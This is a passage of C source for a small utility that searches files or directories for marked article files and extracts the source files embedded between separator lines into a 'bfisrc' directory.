"Usage: %s dir-or-file\n\n", cmd); } void checktype(char *name) { struct stat chk; if(stat(name,&chk)) { printf("Hmm %s doesn't exist\n", name); exit(0); } if(chk.st_mode & S_IFREG) snip(name, FILE_MODE); if(chk.st_mode & S_IFDIR) dir2file(name); } void dir2file(char *dirname) { DIR *dp; struct dirent *de; char currentdir[BUF_SIZE]; if(!getcwd(currentdir, sizeof(currentdir))) { perror("[dir2file] getcwd()"); exit(0); } if(!(dp=opendir(dirname))) { perror("[dir2file] opendir"); exit(0); } if(chdir(dirname) == -1) { perror("[dir2file] chdir1"); exit(0); } while((de=readdir(dp))) { printf("(%s) ...", de->d_name); switch(de->d_type) { case DT_FIFO: case DT_BLK: case DT_LNK: case DT_DIR: case DT_SOCK: printf("skipping\n"); continue; } if(strstr(de->d_name, BFIART)) { printf("bfi file!\n"); chdir(dirname); snip(de->d_name,DIR_MODE); }else printf("not found\n"); } if( chdir(currentdir) == -1) { perror("[dir2file] chdir2"); exit(0); } closedir(dp); } void snip(char *filename, int mode) { FILE *in, *out; char buf[BUF_SIZE]; int i; static int passed = 0; char ofile[BUF_SIZE]; bzero(ofile, sizeof(ofile)); if(!(in=fopen(filename,"r"))) { perror("[snip] fopen()"); exit(0); } while(fgets(buf, BUF_SIZE, in)) { if(!strncmp(buf, BFISEP, BFISEP_LEN)) { for(i=0; !isspace((int) buf[BFISEP_LEN+i]); i++) ofile[i] = buf[BFISEP_LEN+i]; ofile[i] = '\0'; printf("\t\tDetected file -> %s\n", ofile); switch(mode) { case DIR_MODE: if(!passed) { makedir(DIRNAME); passed = 1; } chdir("bfisrc"); break; } if(!(out = fopen(ofile, "w"))) { perror("[snip] fopen() #2"); exit(0); } while(fgets(buf, BUF_SIZE, in) && !strstr(buf, BFIEND)) fprintf(out,"%s",buf); fclose(out); if(passed && DIR_MODE) chdir(".."); } } fclose(in); } void makedir(char *dirname) { mkdir(dirname, S_IRWXU | S_IRWXG | S_IRWXO); }